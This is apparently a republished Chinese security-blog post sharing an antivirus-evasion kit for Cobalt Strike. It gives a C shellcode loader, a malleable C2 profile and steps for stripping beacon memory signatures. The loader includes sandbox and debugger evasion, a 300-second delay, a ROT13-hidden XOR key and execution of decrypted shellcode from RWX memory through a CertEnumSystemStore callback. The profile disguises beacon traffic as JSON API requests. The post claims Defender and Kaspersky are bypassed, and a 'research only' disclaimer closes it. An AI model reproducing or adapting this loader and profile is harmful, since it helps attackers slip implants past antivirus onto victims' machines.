1.前言
Loder的代码注释掉了很多,大部分都是过沙箱的代码,除了上次分享的performSecurityChecks添加了基于沙箱壁纸hash的方法以及延迟上线,以下沙箱测试图是测试的延迟上线,然后经过测试wb沙箱win10环境下壁纸hash不变,但win7一直变,延迟上线的话控制在250-300秒左右之间是可行的,loader+cs profile可以搭配菊花哥的CS是去过特征的,搭配过df和卡巴是没问题的,最后一块是分享CS去特征的方法,也可以直接用菊花哥CS。
2.Loader
代码:
//#include "md5md5test.h"
void
performSecurityChecks
()
{
const
char
* expectedFilename =
"cccc.exe"
;
char
currentPath[MAX_PATH];
GetModuleFileName(
NULL
, currentPath, MAX_PATH);
// Extract only the filename from the path
const
char
* currentFilename =
strrchr
(currentPath,
'\'
);
if
(currentFilename ==
NULL
) {
currentFilename = currentPath;
}
else
{
currentFilename++;
}
if
(
strcmp
(expectedFilename, currentFilename) !=
0
) {
printf
(
"Filename changed!n"
);
exit
(
1
);
}
int
largeSize =
1024
*
1024
*
1024
;
// 100 MB
char
* largeMem = (
char
*)
malloc
(largeSize);
if
(largeMem ==
NULL
) {
printf
(
"Failed to allocate large memory!n"
);
exit
(
1
);
}
free
(largeMem);
LPVOID mem = VirtualAllocExNuma(GetCurrentProcess(),
NULL
,
1024
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE,
0
);
if
(mem ==
NULL
) {
printf
(
"NUMA allocation failed!n"
);
exit
(
1
);
}
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
if
(sysInfo.dwNumberOfProcessors <
2
) {
printf
(
"Limited CPU cores!n"
);
exit
(
1
);
}
MEMORYSTATUSEX memInfo;
memInfo.dwLength =
sizeof
(memInfo);
GlobalMemoryStatusEx(&memInfo);
if
(memInfo.ullTotalPhys <
2
*
1024
*
1024
) {
printf
(
"Limited memory!n"
);
exit
(
1
);
}
BOOL debuggerStatus = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &debuggerStatus);
if
(debuggerStatus) {
printf
(
"Debugger detected!n"
);
exit
(
1
);
}
HANDLE testFile = CreateFileA(
"kernel32.dll"
, GENERIC_READ,
0
,
NULL
, OPEN_EXISTING,
0
,
NULL
);
if
(testFile != INVALID_HANDLE_VALUE) {
printf
(
"Invalid file access succeeded!n"
);
CloseHandle(testFile);
exit
(
1
);
}
}
void
XORDecrypt
(
const
char
* key,
unsigned
char
* data,
size_t
dataSize)
{
size_t
keyLen =
strlen
(key);
for
(
size_t
i =
0
; i < dataSize; i++) {
data[i] ^= key[i % keyLen];
}
}
void
rot13
(
char
*str)
{
int
i;
for
(i =
0
; str[i] !=
'�'
; i++) {
if
((str[i] >=
'a'
&& str[i] <=
'z'
) || (str[i] >=
'A'
&& str[i] <=
'Z'
)) {
if
(str[i] >
'm'
&& str[i] <=
'z'
) str[i] -=
13
;
else
if
(str[i] >
'M'
&& str[i] <=
'Z'
) str[i] -=
13
;
else
str[i] +=
13
;
}
}
}
//void checkDesktopMd5() {
// HKEY hKey;
// LONG openRes = RegOpenKeyEx(HKEY_CURRENT_USER,
// "Control Panel\Desktop", 0, KEY_READ, &hKey);
//
//
// char path[MAX_PATH];
// DWORD pathLen = MAX_PATH;
//
// LONG queryRes = RegQueryValueEx(hKey, "Wallpaper", NULL, NULL,
// (LPBYTE)path, &pathLen);
//
// RegCloseKey(hKey);
//
// // 打印获取到的路径
//
// printf("Wallpaper path: %sn", path);
// // Replace with actual path to desktop wallpaper
//
// FILE *file = fopen(path, "rb");
// if (file == NULL) {
// perror("Error opening file");
// exit(1);
// }
//
// MD5_CTX md5Context;
// MD5Init(&md5Context);
//
// unsigned char buffer[1024];
// size_t bytesRead;
// while ((bytesRead = fread(buffer, 1, sizeof(buffer), file)) > 0) {
// MD5Update(&md5Context, buffer, bytesRead);
// }
//
// unsigned char digest[16];
// MD5Final(&md5Context, digest);
//
// fclose(file);
//
// char md5value[32 + 1];
// for (int i = 0; i < 16; i++) {
// sprintf(&md5value[i * 2], "%02x", digest[i]);
// }
// md5value[32] = '�';
//
// printf("MD5: %sn", md5value);
//
// // Replace with your list of MD5 values
// const char *md5List[] = {
// "fbfeb6772173fef2213992db05377231",
// "49150f7bfd879fe03a2f7d148a2514de",
// "fc322167eb838d9cd4ed6e8939e78d89",
// "178aefd8bbb4dd3ed377e790bc92a4eb",
// "0f8f1032e4afe1105a2e5184c61a3ce4",
// "da288dceaafd7c97f1b09c594eac7868",
// "bf0c9b943a6aef36542fb9462bc411f6",
// "e4556ff76f8298db17b77881bb7d2d13"
// "4526a5087a6dd23fd3b80d88dd230a34"
// };
//
// // Check if MD5 value is in the list
// for (int i = 0; i < sizeof(md5List) / sizeof(md5List[0]); i++) {
// if (strcmp(md5value, md5List[i]) == 0) {
// printf("Wallpaper is in the listn");
// // Exit the program
// exit(1);
// }
// }
//}
int
main
()
{
//const char key[] = "7c940eddbd01b125faa3b719f3d2f453";
//FILE* file = fopen("D:\Users\kali\Desktop\payload.bin", "rb");
//if (file == NULL) {
// printf("Failed to open file.n");
// return 1;
//}
//fseek(file, 0, SEEK_END);
//size_t fileSize = ftell(file);
//fseek(file, 0, SEEK_SET);
//unsigned char* shellcodeData = (unsigned char*)malloc(fileSize);
//if (shellcodeData == NULL) {
// printf("Memory allocation failed.n");
// fclose(file);
// return 1;
//}
//fread(shellcodeData, 1, fileSize, file);
//fclose(file);
//// 加密并输出加密后的数据
//XORDecrypt(key, shellcodeData, fileSize);
//printf("Encrypted Data:n");
//for (size_t i = 0; i < fileSize; i++) {
// printf("0x%02X", shellcodeData[i]);
// if (i != fileSize - 1) {
// printf(",");
// }
//}
//printf("n");
//checkDesktopMd5();
// 获取当前时间
time_t
start = time(
NULL
);
// 计算结束时间 = 当前时间 + 60秒
time_t
end = start +
300
;
// 循环至结束时间
while
(time(
NULL
) < end) {
}
performSecurityChecks();
//char key[] = "7c940eddbd01b125faa3b719f3d2f453";
//printf("Original key: %sn", key);
//rot13(key);
//printf("Encrypted key: %sn", key);
//rot13(key);
//printf("Decrypted key: %sn", key);
char
key[] =
"7p940rqqoq01o125snn3o719s3q2s453"
;
rot13(key);
//printf("Decrypted key: %sn", key);
// 加密后的 XOR 数据,以字节数组形式
unsigned
char
encryptedData[] = {
0xCB
,
0x8B
,
0xB0
,
0x34
,
0x30
,
0x65
,
0x04
,
};
// 计算 XOR 数据的长度
size_t
dataSize =
sizeof
(encryptedData);
// 解密数据
XORDecrypt(key, encryptedData, dataSize);
// 打印解密后的数据
//printf("Decrypted data: ");
//for (size_t i = 0; i < dataSize; i++) {
// printf("%02X", encryptedData[i]);
//}
//printf("n");
// 创建一个可执行内存区域
LPVOID executableMemory = VirtualAlloc(
NULL
, dataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if
(executableMemory ==
NULL
) {
printf
(
"Failed to allocate executable memory.n"
);
return
1
;
}
// 复制解密后的数据到可执行内存中
memcpy
(executableMemory, encryptedData, dataSize);
//((void(*)())executableMemory)();
// 执行可执行内存中的代码
CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER,
NULL
,
NULL
, (PFN_CERT_ENUM_SYSTEM_STORE)executableMemory);
// 释放内存
VirtualFree(executableMemory,
0
, MEM_RELEASE);
return
0
;
效果:
3.CS Profile
# default sleep time is 60s
set
sleeptime
"3000"
;
# jitter factor 0-99% [randomize callback times]
set
jitter
"0"
;
# maximum number of bytes to send in a DNS A record request
set
maxdns
"255"
;
# indicate that this is the default Beacon profile
set
sample_name
"Cobalt Strike Beacon (Default)"
;
# this is the default profile. Make sure we look like Cobalt Strike's Beacon payload. (that's what we are, right?)
stage {
set
name
"hei.dll"
;
set
userwx
"true"
;
set
cleanup
"true"
;
set
stomppe
"true"
;
set
obfuscate
"true"
;
set
rich_header
"xeex50x19xcfxaax31x77x9cxaax31x77x9cxaax31x77x9cxa3x49xe4x9cx84x31x77x9cx1exadx86x9cxaex31x77x9cx1exadx85x9cxa7x31x77x9cxaax31x76x9cx08x31x77x9cx1exadx98x9cxa3x31x77x9cx1exadx84x9cx98x31x77x9cx1exadx99x9cxabx31x77x9cx1exadx80x9cx6dx31x77x9cx1exadx9ax9cxabx31x77x9cx1exadx87x9cxabx31x77x9cx52x69x63x68xaax31x77x9cx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
;
set
smartinject
"true"
;
set
module_x86
"wwanmm.dll"
;
set
module_x64
"wwanmm.dll"
;
transform-x86 {
prepend
"x90x90x90"
;
strrep
"ReflectiveLoader"
""
;
strrep
"beacon"
""
;
}
transform-x64 {
prepend
"x90x90x90"
;
strrep
"ReflectiveLoader"
""
;
strrep
"beacon"
""
;
}
string
"xiaoheihei"
;
}
# define indicators for an HTTP GET
http-get {
set
uri
" /system/role/list"
;
client {
header
"Accept"
"*/*"
;
header
"Connection"
"Close"
;
header
"Content-Type"
"application/json"
;
metadata {
base64;
netbios;
prepend
"cf="
;
header
"Cookie"
;
}
}
server {
header
"Content-Type"
"application/json"
;
output {
;
}
}
}
# define indicators for an HTTP POST
http-post {
set
uri
" /system/dept/edit"
;
client {
header
"Accept"
"*/*"
;
header
"Connection"
"Close"
;
header
"Content-Type"
"application/json"
;
id {
netbios;
base64url;
parameter
"DeptName"
;
}
output {
base64;
;
}
}
server {
header
"Content-Type"
"application/json"
;
header
"Pragma"
"no-cache"
;
header
"Connection"
"close"
;
output {
;
}
}
}
4.去内存特征
1.查看原版beacon.dll特征
2.定位到特征位置
3.查看伪代码
4.通过插件修改汇编指令,这里交换顺序不要影响正常功能。
5.成功修改,可以看到并没有出现原版cs之前的那个特征。
原文始发于微信公众号(渗透安全团队):干货 | df loader+cs profile+cs内存免杀方法
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论